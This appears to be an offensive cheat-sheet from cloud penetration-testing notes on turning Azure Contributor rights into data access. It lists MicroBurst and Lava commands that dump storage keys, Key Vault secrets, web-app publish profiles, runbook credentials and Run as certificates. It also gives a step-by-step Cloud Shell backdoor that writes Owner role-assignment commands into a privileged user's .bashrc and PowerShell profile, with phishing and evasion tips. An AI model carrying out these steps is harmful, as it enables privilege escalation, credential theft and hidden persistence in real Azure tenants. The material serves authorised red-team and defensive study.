6.4 KiB
6.4 KiB
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Storage accounts
- Contributor role has these management plane permissions and can use them to exploit the data plane:
- Microsoft.Storage/storageAccounts/listkeys/action - read access keys of storage accounts
- Microsoft.Storage/storageAccounts/listAccountSas/action - Generate SAS token for data plane access at storage account level
- Microsoft.Storage/storageAccounts/listServiceSas/action - Generate SAS token for data plane access at service level
- MicroBurst
- Dump credentials from Azure Storage instances (can also do other accounts)
Get-AzPasswords -AutomationAccounts N -AppServices N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView- Can use the keys to access these services to extract data or other credentials
- Open Azure Storage Explorer
- Authenticate with name from previous command and account key
- Dump credentials from Azure Storage instances (can also do other accounts)
- Lava
stg_blob_download- Automatically download all blob containers in subscription
- Azure Cloud Shell
- https://www.netspi.com/blog/technical/cloud-penetration-testing/attacking-azure-cloud-shell/
- Mount the image to view sensitive info and also force it to execute commands the next time it is mounted (automatically when Cloud Shell starts)
- Auth to CLI as Contributor
az login -u contributoruser@<domain_name> -p <contributor_user_password>
- Start Lava
python3 lava.py
- Verify permissions
exec priv_show
- Scan for Cloud Shell images
exec stg_file_scan
- Download files in file shares (can take a while if there are a lot)
exec stg_file_download- Note the download location for later
- Exit Lava
exit
- Mount IMG file
mount <download_location>/.cloudconsole/acc_azureadmin.img /mnt
- Cd into mounted file, write malicious command to .bashrc or .config/PowerShell/Microsoft.PowerShell_profile.ps1
echo "az role assignment create --role "Owner" --assignee $(az ad user list --display-name contributoruser | jq '.[]' | jq -r '.userPrincipalName') &>/dev/null" >> .bashrcecho "New-AzRoleAssignment -UserPrincipalName (Get-AzADUser -StartsWith contributoruser).UserPrincipalName -RoleDefinitionName Owner | out-null" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
- Unmount
umount /mnt
- Get name of storage account
az storage account list --query [].name -o tsv- look for one that starts with "cs"storagename=<storage_acct_name>
- Get access key and file share and upload image
key=$(az storage account keys list -n $storagename --query [0].value -o tsv)csfileshare=$(az storage share list --account-key $key --account-name $storagename --query [].name -o tsv)az storage file upload --account-key $key --account-name $storagename --share-name $csfileshare --path ".cloudconsole/acc_azureadmin.img" --source "<download_location>/.cloudconsole/acc_azureadmin.img"
- Wait for privileged account to open Azure Cloud Shell, or send phishing email with a link to the shell to the user
- Clean up Owner permissions
$upnsuffix=$(az ad signed-in-user show --query userPrincipalName --output tsv | sed 's/.*@//')$contributoruser = "contributoruser@$upnsuffix"$contributoruserid=$(az ad user list --upn $contributoruser --query [].objectId -o tsv)az role assignment delete --assignee $contributoruserid --role "Owner"
- Remember to remove backdoored command in Azure Cloud Shell
- Contributor role has these management plane permissions and can use them to exploit the data plane:
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Key Vault
- Contributor has no access to data plane by default, but has this permission on the management plane to give itself perms:
Microsoft.KeyVault/vaults/accessPolicies/write- OPSEC NOTE: Changing these permissions may be logged; try to use other principals that already have authorization (such as automation Run as, app registrations, and managed identities)
- Automation accounts: Create a new runbook that uses the Run as account to access the key vault.
- App registrations: Authenticate as the app registration and access the key vault.
- Managed Identities: Generate REST API tokens for the identity to access the key vault with.
- Can also add access policy that allows the account to generate a trusted certificate - used in supply-chain attack
- MicroBurst
- Dump sensitive info from Key Vaults by temporarily changing permissions and reverting them
Get-AzPasswords -AutomationAccounts N -AppServices N -Keys Y -ACR N -CosmosDB N -ModifyPolicies Y -Verbose | Out-GridView
- Dump sensitive info from Key Vaults by temporarily changing permissions and reverting them
- Contributor has no access to data plane by default, but has this permission on the management plane to give itself perms:
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Web apps
- Collect publish profile, containing credentials
Get-AzWebAppPublishingProfile- MicroBurst
Get-AzPasswords -AutomationAccounts N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView
- Find FTP endpoint to review/modify app files:
az webapp deployment list-publishing-profiles --name <appname> --resource-group <group-name> --query "[? ends_with(profileName, 'FTP')].{profileName: profileName, publishUrl: publishUrl}"
- Can use Console in Azure Portal or the SCM interface
- $APP_NAME.scm.azurewebsites.net
- Can auth to this with the publish profile creds
- $APP_NAME.scm.azurewebsites.net
- Keep in mind these usually have managed identities too
- Lateral Movement in Azure App Services (netspi.com)
- Collect publish profile, containing credentials
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Automation Accounts
- Review runbook code to find credentials
- Extract stored account credentials and Run as account certificates
- Write credential variables to job output
$myCredential = Get-AutomationPSCredential -Name 'Cred-1'$userName = $myCredential.UserName$password = $myCredential.GetNetworkCredential().Password$username$password
- Export Run as certificates
$RunAsCert = Get-AutomationCertificate -Name 'AzureRunAsCertificate'$CertificatePath = Join-Path $env:temp RunAsCertificate.pfx$Cert = $RunAsCert.Export('pfx','CertificatePassword')Set-Content -Value $Cert -Path $CertificatePath -Force -Encoding Byte | Write-Verbose$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('$CertificatePath))$base64string
- MicroBurst
Get-AzPasswords -AppServices N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView- Note that this will create files with a Run as certificate (pfx) and a script to log in as that Run as account
- Can also use the REST API
Get-AzAutomationAccountCredsREST- https://github.com/NetSPI/MicroBurst/blob/master/REST/Get-AzAutomationAccountCredsREST.ps1
- Write credential variables to job output